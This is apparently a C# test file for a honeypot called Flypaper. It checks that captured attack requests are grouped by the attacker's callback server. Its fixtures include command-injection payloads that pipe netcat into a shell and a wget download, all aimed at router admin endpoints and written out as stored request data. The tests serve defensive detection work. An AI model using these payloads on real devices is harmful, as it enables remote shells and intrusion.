using System.Net; using Flypaper.Core.Models; using Flypaper.Storage.Dashboard; using Flypaper.Storage.Entities; using Flypaper.Storage.Events; using Flypaper.Storage.Queries; using Flypaper.Tests.Mcp; using Microsoft.Extensions.Logging.Abstractions; using Shouldly; namespace Flypaper.Tests.Storage; public sealed class CommandStorageTests : IDisposable { private readonly McpTestData _data = new(); [Fact] public async Task Groups_commands_by_server_across_attackers() { using (var db = _data.Factory.CreateDbContext()) { db.TrapEvents.AddRange( Entity("203.0.113.1", 3, "sysCmd=nc+192.0.2.7+4545%7Csh"), Entity("203.0.113.2", 1, "pingAddr=%60nc+192.0.2.7+4545%7Csh%60"), Entity("203.0.113.3", 2, "log=a&pwd=b")); db.SaveChanges(); } var group = (await new CommandQueries(_data.Factory).GetGroupsAsync(null, 10)).ShouldHaveSingleItem(); group.Server.ShouldBe("192.0.2.7:4545"); group.Catches.ShouldBe(2); group.Ips.ShouldBe(2); group.LastIp.ShouldBe("203.0.113.2"); } [Fact] public async Task Backfill_checks_stored_catches_once() { using (var db = _data.Factory.CreateDbContext()) { var old = Entity("203.0.113.4", 5, "x=1"); old.Target = "GET h/setup.cgi?cmd=wget+http://192.0.2.9:1/a"; old.Command = null; old.CommandScan = 0; db.TrapEvents.Add(old); db.SaveChanges(); } var backfill = new CommandBackfill(_data.Factory, NullLogger.Instance); (await backfill.BackfillAsync(default)).ShouldBe(1); (await backfill.BackfillAsync(default)).ShouldBe(0); (await new CommandQueries(_data.Factory).GetGroupsAsync(null, 10)).ShouldHaveSingleItem().Server.ShouldBe("192.0.2.9:1"); } private static TrapEventEntity Entity(string ip, int hoursAgo, string body) { var started = McpTestData.Now.AddHours(-hoursAgo); return TrapEventEntity.From(new TrapEvent( Guid.NewGuid(), TrapProtocol.Http, IPAddress.Parse(ip), "maze-drip", started, started.AddSeconds(2), 10, TrapOutcome.ClientAborted, "POST h/boaform/admin/formSysCmd", null, new RequestDetails("Host: h\n", body, body.Length, false))); } public void Dispose() => _data.Dispose(); }